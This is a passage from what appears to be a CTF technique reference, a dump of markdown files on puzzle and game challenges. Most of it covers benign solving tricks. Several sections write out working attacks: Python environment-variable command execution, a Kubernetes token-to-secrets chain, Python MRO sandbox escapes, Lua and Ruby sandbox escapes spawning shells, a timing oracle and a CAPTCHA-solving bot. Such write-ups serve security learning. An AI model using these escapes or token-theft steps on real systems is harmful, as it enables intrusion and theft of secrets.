Piet Image URL — Multi-Layer Polyglot (RITSEC 2018)](#brainfuck-decodes-piet-image-url--multi-layer-polyglot-ritsec-2018)\n- [Bytebeat Synth Code Recognition for Hidden Audio (RITSEC 2018)](#bytebeat-synth-code-recognition-for-hidden-audio-ritsec-2018)\n\n---\n\n## XSLT as Turing-Complete VM for Binary Search (35C3 2018)\n\n**Pattern:** Challenge only executes XSLT templates. `\u003cxsl:choose>`, `\u003cxsl:call-template>` with recursion, and `\u003cxsl:variable>` form a full Turing-complete runtime with a stack. Encode a binary-search oracle: `\u003cdrinks>` elements hold the stack, `\u003cplate>` elements are instructions, `\u003ccourse>` blocks act as labels.\n\n```xml\n\u003cxsl:template name=\"step\">\n \u003cxsl:param name=\"lo\"/>\u003cxsl:param name=\"hi\"/>\n \u003cxsl:variable name=\"mid\" select=\"($lo + $hi) div 2\"/>\n \u003cxsl:choose>\n \u003cxsl:when test=\"$target = $mid\">...found...\u003c/xsl:when>\n \u003cxsl:when test=\"$target < $mid\">\n \u003cxsl:call-template name=\"step\">\n \u003cxsl:with-param name=\"lo\" select=\"$lo\"/>\n \u003cxsl:with-param name=\"hi\" select=\"$mid\"/>\n \u003c/xsl:call-template>\n \u003c/xsl:when>\n ...\n \u003c/xsl:choose>\n\u003c/xsl:template>\n```\n\n**Key insight:** Any \"pure template\" language with named recursion and conditionals is a VM. Build a primitive (binary search, bit extraction, state accumulator) out of its native constructs before trying to escape the sandbox.\n\n**References:** 35C3 CTF 2018 — Juggle, writeup 12803\n\n---\n\n## JavaScript MAX_SAFE_INTEGER Successor Equality (35C3 2018)\n\n**Pattern:** Challenge asserts `x !== x + 1`. For `x = Number.MAX_SAFE_INTEGER + 1 === 9007199254740992`, IEEE 754 rounding makes `x + 1 === x` true, so the assertion passes and the check is bypassed.\n\n```js\nlet x = 9007199254740992; // 2^53\nconsole.log(x === x + 1); // true\n```\n\n**Key insight:** Any numeric invariant that compares `n` to `n + 1` fails at the float boundary. Test with `2^53`, `Infinity`, `NaN`, and `-0 === 0` combinations when a JS check looks like it's making assumptions about arithmetic.\n\n**References:** 35C3 CTF 2018 — Number Error, writeup 12828\n\n---\n\n## Binary Search Oracle in Comparison-Only DSL (35C3 2018)\n\n**Pattern:** Challenge DSL only exposes comparisons against a secret value. Convert it into a full oracle by subtracting decreasing powers of two (`2^30, 2^29, ..., 2^0`) from an initial guess, adding whenever the comparison reports \"less than\" and subtracting when \"greater than\".\n\n```python\nguess = 0\nfor shift in range(30, -1, -1):\n guess += 1 \u003c\u003c shift\n if oracle(guess) > 0: # guess too high\n guess -= 1 \u003c\u003c shift\n```\n\n**Key insight:** Any boolean comparator gives you binary search in `O(log N)` queries. The same trick collapses any comparison-based leak — regex match, timing channel, HTTP status code — into the full value.\n\n**References:** 35C3 CTF 2018 — Juggle, writeup 12803\n\n---\n\n## Blind SQLi via Script-Engine Timeout Error (35C3 2018)\n\n**Pattern:** Server evaluates `eval` of a user-supplied snippet with a tight timeout. Wrap the payload in `if charAt(FLAG, pos) == '?' then pause(10000) end` — correct characters hang until the timeout triggers an error; wrong characters return instantly. Treat the timeout as a truthy bit.\n\n```lua\n-- blind timing oracle in Lua eval sandbox\nfor c in printable do\n send((\"if charAt(FLAG, %d) == '%s' then pause(10000) end\"):format(i, c))\n if response_time > 5 then flag = flag .. c; break end\nend\n```\n\n**Key insight:** Script-eval services with timeouts are stateful oracles: any long-running expression leaks a boolean via the wall-clock difference between timeout and instant return.\n\n**References:** 35C3 CTF 2018 — dev/null, writeups 12830, 12871\n\n---\n\n## OEIS Sequence Lookup Automation for Recurrence Puzzles (X-MAS CTF 2018)\n\n**Pattern:** Server asks for the next term in a mathematical sequence. Automate the lookup: query https://oeis.org/search?q=1,1,2,5,14, parse the first result with pyquery, extract the `Next term`, send it back. Wrap around a MD5 captcha brute force for PoW-protected services.\n\n```python\nimport requests\nfrom pyquery import PyQuery as pq\nr = requests.get('https://oeis.org/search', params={'q': ','.join(map(str, seq))})\ndoc = pq(r.text)\nnext_term = doc('pre').eq(1).text().split(',')[len(seq)]\n```\n\n**Key insight:** Any integer-sequence puzzle is solved in one HTTP request via OEIS. The hard part is the wrapper (captcha, PoW, socket framing) — automate that once and the math stops being the bottleneck.\n\n**References:** X-MAS CTF 2018 — A Weird List of Sequences, writeup 12683\n\n---\n\n## QR Code Reassembly from Format-String Structural Constraints (Square CTF 2018)\n\n**Pattern:** Challenge ships shredded 1-pixel columns of a QR code. Instead of brute-forcing `21!` permutations, anchor on QR invariants: the three finder patterns, the timing pattern between them, the fixed dark module, and the 15-bit format string at column 8 has only 32 valid values (EC level × mask pattern). Filter slices by structural constraints, then permute only the remaining few.\n\n```python\nwanted_formats = load_32_valid_qr_formats()\nfor col in slices:\n if col[:7] in wanted_formats_column_8:\n candidate_cols.append(col)\nfor perm in itertools.permutations(candidate_cols):\n if decode_qr(np.stack(perm)):\n return perm\n```\n\n**Key insight:** Format-specific constraints collapse permutation spaces. QR Version 1 has only 32 possible format strings; anchor on them to prune before brute-forcing.\n\n**References:** Square CTF 2018 — C3: Shredded, writeup 12331\n\n---\n\n## Matrix Exponentiation for Fibonacci-Like Recurrence (Pwn2Win 2018)\n\n**Pattern:** Challenge asks for the `N`-th term of a recurrence `a_{n+1} = f(a_n, a_{n-1})` with `N` up to `10^12`. Naive iteration is impossible. Write the update as a 2×2 matrix product `[a_{n+1}; a_n] = M * [a_n; a_{n-1}]` and compute `M^N` in `O(log N)` with binary exponentiation.\n\n```python\nMOD = 10**9 + 7\ndef matmult(a, b):\n return ((a[0]*b[0] + a[1]*b[2]) % MOD, (a[0]*b[1] + a[1]*b[3]) % MOD,\n (a[2]*b[0] + a[3]*b[2]) % MOD, (a[2]*b[1] + a[3]*b[3]) % MOD)\ndef matpow(M, n):\n R = (1,0,0,1)\n while n:\n if n & 1: R = matmult(R, M)\n M = matmult(M, M); n >>= 1\n return R\n```\n\n**Key insight:** Any linear recurrence over a ring is reducible to matrix exponentiation. Use it whenever the challenge exposes a giant `N` for a classical-looking sequence — Fibonacci, Tribonacci, Lucas, linear Pisano, RNG counters.\n\n**References:** Pwn2Win CTF 2018 — Too Slow, writeup 12501\n\n---\n\n## Tribonacci Recurrence for Frog Jump Counting (FireShell 2019)\n\n**Pattern:** A proof-of-work handshake asks how many ways a frog can reach step `N` if it can jump 1, 2, or 3 steps. That is `f(N) = f(N-1) + f(N-2) + f(N-3)` — the Tribonacci sequence. Precompute modulo the server's modulus; for large `N`, combine with matrix exponentiation above.\n\n```python\ndef tribonacci(N, MOD=13371337):\n a, b, c = 0, 0, 1\n for _ in range(N):\n a, b, c = b, c, (a + b + c) % MOD\n return c\n```\n\n**Key insight:** \"Number of ways to climb N stairs with step sizes {1..k}\" is always a linear recurrence. Memoize up to the server's max `N`, cache across requests, and keep the tribonacci identity in mind when the challenge text mentions \"frog\".\n\n**References:** FireShell CTF 2019 — Frogs, writeup 12961\n\n---\n\n## Selenium + Tesseract for Dynamic Font CAPTCHA (Square CTF 2018)\n\n**Pattern:** A CAPTCHA generates math expressions with a random glyph font and rerenders every 5 seconds. Full-window screenshots via Selenium feed Tesseract OCR; clean up Tesseract's common confusions (`x`→`*`, `{`→`(`) before `eval()`.\n\n```python\nfrom selenium import webdriver\nfrom PIL import Image\nimport pytesseract, io\nd = webdriver.Chrome()\nd.get(URL); d.execute_script(\"document.body.style.zoom='450%'\")\nimg = Image.open(io.BytesIO(d.get_screenshot_as_png()))\nexpr = pytesseract.image_to_string(img).replace('x','*').replace('{','(').replace('}',')')\nd.execute_script(f\"document.getElementsByName('answer')[0].value={eval(expr)}\")\nd.find_element_by_tag_name('form').submit()\n```\n\n**Key insight:** Dynamic CAPTCHAs are often too short-lived for manual solves but trivial for a 1-second Selenium + Tesseract loop. When OCR alone fails, pair it with a cmap reference library (see ctf-osint/web-and-dns.md).\n\n**References:** Square CTF 2018 — C8, writeups 12160, 12178\n\n---\n\n## Brainfuck Decodes Piet Image URL — Multi-Layer Polyglot (RITSEC 2018)\n\n**Pattern:** Recognise the three most common esolangs stacked together: Brainfuck source outputs a YouTube URL, the video's thumbnail border is a Piet program whose execution prints the flag. Use `bf` → `yt-dlp` → strip border pixels → `npiet` pipeline.\n\n```bash\nbf puzzle.bf # prints youtube.com/watch?v=XXXX\nyt-dlp -x --write-thumbnail \"$URL\" # grabs JPG thumbnail\npython crop_border.py thumb.jpg > piet.png\nnpiet piet.png # prints the flag\n```\n\n**Key insight:** Multi-layer esolangs are recognisable by eye: Brainfuck is `+-\u003c>.,[]`, Piet is colored block grids, Whitespace is invisible. If a challenge description mentions multiple \"weird\" formats, pipeline the decoders in order.\n\n**References:** RITSEC CTF 2018 — writeup 12224\n\n---\n\n## Bytebeat Synth Code Recognition for Hidden Audio (RITSEC 2018)\n\n**Pattern:** A short C-like one-liner is bytebeat — a generative music format where `t` is a monotonic sample counter. Paste into an online interpreter (http://wry.me/bytebeat/) to hear it; the resulting tune is a recognizable song whose title is the flag.\n\n```c\n/* Bytebeat example: output byte = low 8 bits of this expression */\n(t * ((t >> 12 | t >> 8) & 63 & t >> 4))\n```\n\n**Key insight:** Recognise bytebeat by (a) a `t` variable, (b) bitshifts mixed with modulo, (c) output of size 8-bit unsigned integer. `%`, `|`, `&`, `^`, `>>`, `\u003c\u003c` on `t` are the bytebeat signature. No decoding needed — just play it.\n\n**References:** RITSEC CTF 2018 — writeups 12261, 12268\n\n---\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":11466,"content_sha256":"290523ba755d0440bed56095c361b279ccdc221ee8844c18f154962cc07581b0"},{"filename":"games-and-vms.md","content":"# CTF Misc - Games, VMs & Constraint Solving (Part 1)\n\n## Table of Contents\n- [WASM Game Exploitation via Patching](#wasm-game-exploitation-via-patching)\n- [Roblox Place File Reversing](#roblox-place-file-reversing)\n- [PyInstaller Extraction](#pyinstaller-extraction)\n - [Opcode Remapping](#opcode-remapping)\n- [Marshal Code Analysis](#marshal-code-analysis)\n - [Bytecode Inspection Tips](#bytecode-inspection-tips)\n- [Python Environment RCE](#python-environment-rce)\n- [Z3 Constraint Solving](#z3-constraint-solving)\n - [YARA Rules with Z3](#yara-rules-with-z3)\n - [Type Systems as Constraints](#type-systems-as-constraints)\n - [Z3 SAT Solving for Boolean Logic Gate Networks (BSidesSF 2026)](#z3-sat-solving-for-boolean-logic-gate-networks-bsidessf-2026)\n- [Kubernetes RBAC Bypass](#kubernetes-rbac-bypass)\n - [K8s Privilege Escalation Checklist](#k8s-privilege-escalation-checklist)\n- [Floating-Point Precision Exploitation](#floating-point-precision-exploitation)\n - [Finding Exploitable Values](#finding-exploitable-values)\n - [Exploitation Strategy](#exploitation-strategy)\n - [Why It Works](#why-it-works)\n - [Red Flags in Challenges](#red-flags-in-challenges)\n - [Quick Test Script](#quick-test-script)\n- [Custom Assembly Language Sandbox Escape (EHAX 2026)](#custom-assembly-language-sandbox-escape-ehax-2026)\n- [Lua Sandbox Escape via Function Name Injection (CSAW CTF 2016)](#lua-sandbox-escape-via-function-name-injection-csaw-ctf-2016)\n- [Ruby Sandbox Escape via TracePoint.trace (HITCON 2017)](#ruby-sandbox-escape-via-tracepointtrace-hitcon-2017)\n- [Pixel-Sampling BFS Maze Auto-Solver (HackCon 2018)](#pixel-sampling-bfs-maze-auto-solver-hackcon-2018)\n- [References](#references)\n\n---\n\n## WASM Game Exploitation via Patching\n\n**Pattern (Tac Tic Toe, Pragyan 2026):** Game with unbeatable AI in WebAssembly. Proof/verification system validates moves but doesn't check optimality.\n\n**Key insight:** If the proof generation depends only on move positions and seed (not on whether moves were optimal), patching the WASM to make the AI play badly produces a beatable game with valid proofs.\n\n**Patching workflow:**\n```bash\n# 1. Convert WASM binary to text format\nwasm2wat main.wasm -o main.wat\n\n# 2. Find the minimax function (look for bestScore initialization)\n# Change initial bestScore from -1000 to 1000\n# Flip comparison: i64.lt_s -> i64.gt_s (selects worst moves instead of best)\n\n# 3. Recompile\nwat2wasm main.wat -o main_patched.wasm\n```\n\n**Exploitation:**\n```javascript\nconst go = new Go();\nconst result = await WebAssembly.instantiate(\n fs.readFileSync(\"main_patched.wasm\"), go.importObject\n);\ngo.run(result.instance);\n\nInitGame(proof_seed);\n// Play winning moves against weakened AI\nfor (const m of [0, 3, 6]) {\n PlayerMove(m);\n}\nconst data = GetWinData();\n// Submit data.moves and data.proof to server -> valid!\n```\n\n**General lesson:** In client-side game challenges, always check if the verification/proof system is independent of move quality. If so, patch the game logic rather than trying to beat it.\n\n---\n\n## Roblox Place File Reversing\n\n**Pattern (MazeRunna, 0xFun 2026):** Roblox game where the flag is hidden in an older published version. Latest version contains a decoy flag.\n\n**Step 1: Identify target IDs from game page HTML:**\n```python\nplaceId = 75864087736017\nuniverseId = 8920357208\n```\n\n**Step 2: Pull place versions via Roblox Asset Delivery API:**\n```bash\n# Requires .ROBLOSECURITY cookie (rotate after CTF!)\nfor v in 1 2 3; do\n curl -H \"Cookie: .ROBLOSECURITY=...\" \\\n \"https://assetdelivery.roblox.com/v2/assetId/${PLACE_ID}/version/$v\" \\\n -o place_v${v}.rbxlbin\ndone\n```\n\n**Step 3: Parse .rbxlbin binary format:**\nThe Roblox binary place format contains typed chunks:\n- **INST** — defines class buckets (Script, Part, etc.) and referent IDs\n- **PROP** — per-instance property values (including `Source` for scripts)\n- **PRNT** — parent→child relationships forming the object tree\n\n```python\n# Pseudocode for extracting scripts\nfor chunk in parse_chunks(data):\n if chunk.type == 'PROP' and chunk.field == 'Source':\n for referent, source in chunk.entries:\n if source.strip():\n print(f\"[{get_path(referent)}] {source}\")\n```\n\n**Step 4: Diff script sources across versions.**\n- v3 (latest): `Workspace/Stand/Color/Script` → fake flag\n- v2 (older): same path → real flag\n\n**Key lessons:**\n- Always check **version history** — latest version may be a decoy\n- Roblox Asset Delivery API exposes all published versions\n- Rotate `.ROBLOSECURITY` cookie immediately after use (it's a full session token)\n\n---\n\n## PyInstaller Extraction\n\n```bash\npython pyinstxtractor.py packed.exe\n# Look in packed.exe_extracted/\n```\n\n### Opcode Remapping\nIf decompiler fails with opcode errors:\n1. Find modified `opcode.pyc`\n2. Build mapping to original values\n3. Patch target .pyc\n4. Decompile normally\n\n---\n\n## Marshal Code Analysis\n\n```python\nimport marshal, dis\nwith open('file.bin', 'rb') as f:\n code = marshal.load(f)\ndis.dis(code)\n```\n\n### Bytecode Inspection Tips\n- `co_consts` contains literal values (strings, numbers)\n- `co_names` contains referenced names (function names, variables)\n- `co_code` is the raw bytecode\n- Use `dis.Bytecode(code)` for instruction-level iteration\n\n---\n\n## Python Environment RCE\n\n```bash\nPYTHONWARNINGS=ignore::antigravity.Foo::0\nBROWSER=\"/bin/sh -c 'cat /flag' %s\"\n```\n\n**Other dangerous environment variables:**\n- `PYTHONSTARTUP` - Script executed on interactive startup\n- `PYTHONPATH` - Inject modules via path hijacking\n- `PYTHONINSPECT` - Drop to interactive shell after script\n\n**How PYTHONWARNINGS works:** Setting `PYTHONWARNINGS=ignore::antigravity.Foo::0` triggers `import antigravity`, which opens a URL via `$BROWSER`. Control `$BROWSER` to execute arbitrary commands.\n\n---\n\n## Z3 Constraint Solving\n\n```python\nfrom z3 import *\n\nflag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]\ns = Solver()\ns.add(flag[0] == ord('f')) # Known prefix\n# Add constraints...\nif s.check() == sat:\n print(bytes([s.model()[f].as_long() for f in flag]))\n```\n\n### YARA Rules with Z3\n```python\nfrom z3 import *\n\nflag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]\ns = Solver()\n\n# Literal bytes\nfor i, byte in enumerate([0x66, 0x6C, 0x61, 0x67]):\n s.add(flag[i] == byte)\n\n# Character range\nfor i in range(4):\n s.add(flag[i] >= ord('A'))\n s.add(flag[i] \u003c= ord('Z'))\n\nif s.check() == sat:\n m = s.model()\n print(bytes([m[f].as_long() for f in flag]))\n```\n\n### Type Systems as Constraints\n**OCaml GADTs / advanced types encode constraints.**\n\nDon't compile - extract constraints with regex and solve with Z3:\n```python\nimport re\nfrom z3 import *\n\nmatches = re.findall(r\"\\(\\s*([^)]+)\\s*\\)\\s*(\\w+)_t\", source)\n# Convert to Z3 constraints and solve\n```\n\n### Z3 SAT Solving for Boolean Logic Gate Networks (BSidesSF 2026)\n\n**Pattern (flag-factory-pro):** A \"product key\" validation system is implemented as a network of 250 boolean logic gates (AND, OR, XOR, NOT) connected by wires. Given 125 boolean input bits and the gate truth values (all gates must output True), find a valid assignment of input bits. This is a classic satisfiability (SAT) problem solvable with Z3.\n\n```python\nfrom z3 import *\nimport base64\n\n# Parse the gate network from challenge data\ndata = base64.b64decode(registration_request)\ngates = parse_gates(data) # List of (gate_type, input_wires, output_wire)\n\n# Create 125 boolean variables for input bits\ninputs = [Bool(f\"x_{i}\") for i in range(125)]\n\n# Map wire IDs to Z3 expressions\nwires = {i: inputs[i] for i in range(125)}\n\nsolver = Solver()\nfor gate_type, in1, in2, out in gates:\n w1 = wires[in1]\n w2 = wires[in2] if in2 is not None else None\n\n if gate_type == \"AND\":\n wires[out] = And(w1, w2)\n elif gate_type == \"OR\":\n wires[out] = Or(w1, w2)\n elif gate_type == \"XOR\":\n wires[out] = Xor(w1, w2)\n elif gate_type == \"NOT\":\n wires[out] = Not(w1)\n\n # All gate outputs must be True\n solver.add(wires[out] == True)\n\nif solver.check() == sat:\n model = solver.model()\n # Extract 125 bits, encode as base32 in 5-bit groups\n bits = [1 if is_true(model[inputs[i]]) else 0 for i in range(125)]\n # Convert to product key format\n key = bits_to_base32(bits)\n print(f\"Product key: {key}\")\n```\n\n**Key insight:** Boolean logic gate networks are directly expressible as Z3 constraints. Each gate becomes one constraint (`And`, `Or`, `Xor`, `Not`), and the requirement that all outputs are True constrains the solution space. Even with 125 input variables and 250 gates, Z3 solves this in milliseconds. Any \"keygen\" or \"product key\" challenge with observable validation logic can be modeled this way.\n\n**When to recognize:** Challenge involves product key validation, license key generation, circuit/gate diagrams, or registration code verification. If the validation logic is extractable (from binary, network capture, or provided spec), model it as a SAT/SMT problem. Z3 handles boolean, bitvector, integer, and real arithmetic constraints.\n\n**References:** BSidesSF 2026 \"flag-factory-pro\"\n\n---\n\n## Kubernetes RBAC Bypass\n\n**Pattern (CTFaaS, LACTF 2026):** Container deployer with claimed ServiceAccount isolation.\n\n**Attack chain:**\n1. Deploy probe container that reads in-pod ServiceAccount token at `/var/run/secrets/kubernetes.io/serviceaccount/token`\n2. Verify token can impersonate deployer SA (common misconfiguration)\n3. Create pod with `hostPath` volume mounting `/` -> read node filesystem\n4. Extract kubeconfig (e.g., `/etc/rancher/k3s/k3s.yaml`)\n5. Use node credentials to access hidden namespaces and read secrets\n\n```bash\n# From inside pod:\nTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\ncurl -k -H \"Authorization: Bearer $TOKEN\" \\\n https://kubernetes.default.svc/api/v1/namespaces/hidden/secrets/flag\n```\n\n### K8s Privilege Escalation Checklist\n- Check RBAC: `kubectl auth can-i --list`\n- Look for pod creation permissions (can create privileged pods)\n- Check for hostPath volume mounts allowed in PSP/PSA\n- Look for secrets in environment variables of other pods\n- Check for service mesh sidecars leaking credentials\n\n---\n\n## Floating-Point Precision Exploitation\n\n**Pattern (Spare Me Some Change):** Trading/economy games where large multipliers amplify tiny floating-point errors.\n\n**Key insight:** When decimal values (0.01-0.99) are multiplied by large numbers (e.g., 1e15), floating-point representation errors create fractional remainders that can be exploited.\n\n### Finding Exploitable Values\n```python\nmult = 1000000000000000 # 10^15\n\n# Find values where multiplication creates useful fractional errors\nfor i in range(1, 100):\n x = i / 100.0\n result = x * mult\n frac = result - int(result)\n if frac > 0:\n print(f'x={x}: {result} (fraction={frac})')\n\n# Common values with positive fractions:\n# 0.07 -> 70000000000000.0078125\n# 0.14 -> 140000000000000.015625\n# 0.27 -> 270000000000000.03125\n# 0.56 -> 560000000000000.0625\n```\n\n### Exploitation Strategy\n1. **Identify the constraint**: Need `balance >= price` AND `inventory >= fee`\n2. **Find favorable FP error**: Value where `x * mult` has positive fraction\n3. **Key trick**: Sell the INTEGER part of inventory, keeping the fractional \"free money\"\n\n**Example (time-travel trading game):**\n```text\nInitial: balance=5.00, inventory=0.00, flag_price=5.00, fee=0.05\nMultiplier: 1e15 (time travel)\n\n# Buy 0.56, travel through time:\nbalance = (5.0 - 0.56) * 1e15 = 4439999999999999.5\ninventory = 0.56 * 1e15 = 560000000000000.0625\n\n# Sell exactly 560000000000000 (integer part):\nbalance = 4439999999999999.5 + 560000000000000 = 5000000000000000.0 (FP rounds!)\ninventory = 560000000000000.0625 - 560000000000000 = 0.0625 > 0.05 fee\n\n# Now: balance >= flag_price AND inventory >= fee\n```\n\n### Why It Works\n- Float64 has ~15-16 significant digits precision\n- `(5.0 - 0.56) * 1e15` loses precision -> rounds to exact 5e15 when added\n- `0.56 * 1e15` keeps the 0.0625 fraction as \"free inventory\"\n- The asymmetric rounding gives you slightly more total value than you started with\n\n### Red Flags in Challenges\n- \"Time travel amplifies everything\" (large multipliers)\n- Trading games with buy/sell + special actions\n- Decimal currency with fees or thresholds\n- \"No decimals allowed\" after certain operations (forces integer transactions)\n- Starting values that seem impossible to win with normal math\n\n### Quick Test Script\n```python\ndef find_exploit(mult, balance_needed, inventory_needed):\n \"\"\"Find x where selling int(x*mult) gives balance>=needed with inv>=needed\"\"\"\n for i in range(1, 500):\n x = i / 100.0\n if x >= 5.0: # Can't buy more than balance\n break\n inv_after = x * mult\n bal_after = (5.0 - x) * mult\n\n # Sell integer part of inventory\n sell = int(inv_after)\n final_bal = bal_after + sell\n final_inv = inv_after - sell\n\n if final_bal >= balance_needed and final_inv >= inventory_needed:\n print(f'EXPLOIT: buy {x}, sell {sell}')\n print(f' final_balance={final_bal}, final_inventory={final_inv}')\n return x\n return None\n\n# Example usage:\nfind_exploit(1e15, 5e15, 0.05) # Returns 0.56\n```\n\n---\n\n## Custom Assembly Language Sandbox Escape (EHAX 2026)\n\n**Pattern (Chusembly):** Web app with custom instruction set (LD, PUSH, PROP, CALL, IDX, etc.) running on a Python backend. Safety check only blocks the word \"flag\" in source code.\n\n**Key insight:** `PROP` (property access) and `CALL` (function invocation) instructions allow traversing Python's MRO chain from any object to achieve RCE, similar to Jinja2 SSTI.\n\n**Exploit chain:**\n```text\nLD 0x48656c6c6f A # Load \"Hello\" string into register A\nPROP __class__ A # str → \u003cclass 'str'>\nPROP __base__ E # str → \u003cclass 'object'> (E = result register)\nPROP __subclasses__ E # object → bound method\nCALL E # object.__subclasses__() → list of all classes\n# Find os._wrap_close at index 138 (varies by Python version)\nIDX 138 E # subclasses[138] = os._wrap_close\nPROP __init__ E # get __init__ method\nPROP __globals__ E # access function globals\n# Use __getitem__ to access builtins without triggering keyword filter\nPUSH 0x5f5f6275696c74696e735f5f # \"__builtins__\" as hex\nCALL __getitem__ E # globals[\"__builtins__\"]\n# Bypass \"flag\" keyword filter with hex encoding\nPUSH 0x666c61672e747874 # \"flag.txt\" as hex\nCALL open E # open(\"flag.txt\")\nCALL read E # read file contents\nSTDOUT E # print flag\n```\n\n**Filter bypass techniques:**\n- **Hex-encoded strings:** `0x666c61672e747874` → `\"flag.txt\"` bypasses keyword filters\n- **os.popen for shell:** If file path is unknown, use `os.popen('ls /').read()` then `os.popen('cat /flag*').read()`\n- **Subclass index discovery:** Iterate through `__subclasses__()` list to find useful classes (os._wrap_close, subprocess.Popen, etc.)\n\n**General approach for custom language challenges:**\n1. **Read the docs:** Check `/docs`, `/help`, `/api` endpoints for instruction reference\n2. **Find the result register:** Many custom languages have a special register for return values\n3. **Test string handling:** Try hex-encoded strings to bypass keyword filters\n4. **Chain Python MRO:** Any Python string object → `__class__.__base__.__subclasses__()` → RCE\n5. **Error messages leak info:** Intentional errors reveal Python internals and available classes\n\n---\n\n## Lua Sandbox Escape via Function Name Injection (CSAW CTF 2016)\n\nLua sandboxes that filter `load()` and `os.execute()` by name can be bypassed if function references exist in other accessible tables or through string concatenation of function names.\n\n```lua\n-- Common Lua sandbox restrictions:\n-- os.execute blocked, load blocked, require blocked\n\n-- Bypass 1: If string.find is available, use it to test for allowed functions\n-- then access via table indexing\nlocal f = os[\"execute\"] -- table index bypass if only os.execute() call is blocked\nf(\"cat /flag\")\n\n-- Bypass 2: Use loadstring (alias for load in Lua 5.1)\nloadstring(\"os.execute('cat /flag')\")()\n\n-- Bypass 3: Via debug library (if available)\ndebug.getregistry() -- access internal Lua registry\n\n-- Bypass 4: Bytecode execution (compile outside, load bytecode)\n-- Compile payload: luac -o payload.luac payload.lua\n-- Load bytecode in sandbox (may bypass source-level filters)\n\n-- Bypass 5: Concatenation to build function names\nlocal cmd = \"exe\" .. \"cute\"\nos[cmd](\"cat /flag\")\n\n-- Bypass 6: Via io library\nio.popen(\"cat /flag\"):read(\"*a\")\n```\n\n**Key insight:** Lua sandboxes typically filter specific function *calls* but not *table lookups*. Access blocked functions through table indexing (`os[\"execute\"]`), string concatenation for function names, or alternate I/O libraries (`io.popen`). Also check if `loadstring` (Lua 5.1 alias for `load`) is unblocked.\n\n---\n\n## Ruby Sandbox Escape via TracePoint.trace (HITCON 2017)\n\n**Pattern:** Ruby sandbox uses `set_trace_func` to monitor execution and block dangerous calls. Bypass: register a `TracePoint` hook for `:c_call` events. TracePoint fires at the C-extension level, before Ruby-level `set_trace_func` hooks activate.\n\n```ruby\nTracePoint.trace(:c_call) do |tp|\n system('sh')\nend\n```\n\nThe hook fires on the next C-level call (e.g., `puts`, any method call), executing `system('sh')` before the sandbox monitor can intercept it.\n\n**Why it works:** `TracePoint` (introduced in Ruby 2.0) operates at a lower level than `set_trace_func`. `:c_call` hooks fire when any C-implemented method is invoked, which happens before the Ruby event system that `set_trace_func` relies on processes the event.\n\n**Key insight:** `TracePoint` operates at a lower level than `set_trace_func` in Ruby — C-call hooks fire before Ruby-level event hooks, allowing sandbox escape. Any subsequent C-method call (even benign ones) triggers the payload.\n\n---\n\n## Pixel-Sampling BFS Maze Auto-Solver (HackCon 2018)\n\n**Pattern:** Challenge streams a PNG of a grid maze and expects the player to type WASD moves within a tight time limit. Manual solving is impossible at scale, but the maze is a uniform grid — each cell is exactly `N` pixels wide and each wall is 1 cell wide.\n\n**Solver pipeline:**\n```python\nimport requests, numpy as np\nfrom collections import deque\nfrom PIL import Image\nfrom io import BytesIO\n\nCELL = 10 # measured cell width in pixels\n\ndef fetch_grid(url):\n img = np.array(Image.open(BytesIO(requests.get(url).content)).convert('L'))\n rows, cols = img.shape[0] // CELL, img.shape[1] // CELL\n # 1 = wall (dark pixel at cell center), 0 = open\n grid = [[1 if img[r*CELL + CELL//2, c*CELL + CELL//2] \u003c 128 else 0\n for c in range(cols)] for r in range(rows)]\n return grid\n\ndef bfs(grid, start, goal):\n dirs = [(-1, 0, 'W'), (1, 0, 'S'), (0, -1, 'A'), (0, 1, 'D')]\n q = deque([(start, '')])\n seen = {start}\n while q:\n (r, c), path = q.popleft()\n if (r, c) == goal:\n return path\n for dr, dc, m in dirs:\n nr, nc = r + dr, c + dc\n if (0 \u003c= nr \u003c len(grid) and 0 \u003c= nc \u003c len(grid[0])\n and grid[nr][nc] == 0 and (nr, nc) not in seen):\n seen.add((nr, nc))\n q.append(((nr, nc), path + m))\n```\n\nMeasure `CELL` once by inspecting the first row of the image; then every maze in the same challenge series decodes to a boolean grid and BFS yields the move sequence in milliseconds.\n\n**Key insight:** Any image-driven CTF game can be turned into a graph problem by sampling one pixel per logical cell — pick the cell center, not the border, so wall thickness doesn't poison the result. Build the grid, BFS, and output the move string. The same pattern works for color-coded mazes (`img[r*CELL+CELL//2, c*CELL+CELL//2]` with RGB comparison) and for 3D isometric grids after an affine rectification.\n\n**References:** HackCon 2018 — writeup 10764\n\n---\n\n## References\n- Pragyan 2026 \"Tac Tic Toe\": WASM minimax patching\n- LACTF 2026 \"CTFaaS\": K8s RBAC bypass via hostPath\n- 0xL4ugh CTF: PyInstaller + opcode remapping\n- 0xFun 2026 \"MazeRunna\": Roblox version history + binary place file parsing\n- EHAX 2026 \"Chusembly\": Custom assembly language with Python MRO chain RCE\n- HITCON 2017: Ruby TracePoint sandbox escape\n\n---\n\nSee also: [games-and-vms-2.md](games-and-vms-2.md) for cookie checkpoint brute-forcing, Flask cookie game state leakage, WebSocket game manipulation, server time-only validation bypass, De Bruijn sequences, Brainfuck instrumentation, and WASM memory manipulation.\n\nSee also: [games-and-vms-3.md](games-and-vms-3.md) for memfd_create packed binaries, multi-phase crypto games with HMAC commitment-reveal and GF(256) Nim, emulator ROM-switching state preservation, Python marshal code injection, Benford's Law bypass, parallel connection oracle relay, nonogram solver pipelines, 100 prisoners problem, C code jail escape via emoji identifiers, and BuildKit daemon build secret exploitation.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":21085,"content_sha256":"874dffbe3584051b7244a4f2827631dc1a6e9ab40feac65401d6b0172b8745aa"},{"filename":"linux-privesc.md","content":"# Linux Privilege Escalation and Service Exploitation\n\nTechniques from HackTheBox machine writeups covering sudo abuse, service misconfigurations, database exploitation, and credential extraction.\n\n## Table of Contents\n\n- [Sudo Wildcard Parameter Injection via fnmatch (Dump HTB)](#sudo-wildcard-parameter-injection-via-fnmatch-dump-htb)\n- [Crafted Pcap for /etc/sudoers.d (Dump HTB)](#crafted-pcap-for-etcsudoersd-dump-htb)\n- [Monit confcheck Process Command-Line Injection (Zero HTB)](#monit-confcheck-process-command-line-injection-zero-htb)\n- [Apache -d Last-Wins ServerRoot Override (Zero HTB)](#apache--d-last-wins-serverroot-override-zero-htb)\n- [Backup Cronjob SUID Abuse (Slonik HTB)](#backup-cronjob-suid-abuse-slonik-htb)\n- [PostgreSQL COPY TO 